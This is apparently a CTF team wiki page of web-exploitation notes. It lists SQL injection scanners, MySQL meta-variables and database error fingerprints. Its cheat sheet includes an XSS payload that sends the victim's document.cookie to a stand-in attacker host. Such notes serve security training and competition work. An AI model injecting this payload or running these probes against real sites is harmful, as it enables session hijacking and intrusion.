Web related [Hexcellents CTF Wiki]

This page is read only. You can view the source, but not change it. Ask your administrator if you think this is wrong.

~~NOTOC~~
= Web related=

== General Stuff ==

  * Most web exploiting should be done in [[ https://www.owasp.org/index.php/OWASP_Mantra_-_Security_Framework | OWASP Mantra ]] . This browser is a derivative of Firefox that has lots of tools, plugins and addons integrated (with everything sanitized) to facilitate vulnerability finding.

== SQLi ==
Scanners:
  * [[http://packetstormsecurity.com/files/25807/mieliekoek.pl.html | mieliekoek.pl]] (error)
  * [[http://sqlmap.org | sqlmap ]] (blind / union )
  * [[http://w3af.org/ | w3af ]] (error / blind)
Meta-information variables:
  * @@datadir (MySQL)
  * @@version (MySQL /MS SQL)
  * user() (MySQL)
  * database() (MySQL)


== Cheat sheet ==
  * XSS cookie stealing payload
  <code>
  <script>
  function hack(){
     XSSImage=new Image;
     XSSImage.src="http://attacker's site.com/steal?stuff=" + document.cookie + "";
  }
  hack();
  </script>
  </code>

  * Database error fingerprints:
    * "ORA-01756: quoted string not properly terminated" -> Oracle
    * "Incorrect Syntax near " -> MSSQL
    * "You have an error in your SQL syntax" -> MySQL
    * Hex error code -> PostgreSQL

== Test setup ==
  * Use [[http://sqlfiddle.com]] to build schemas and test queries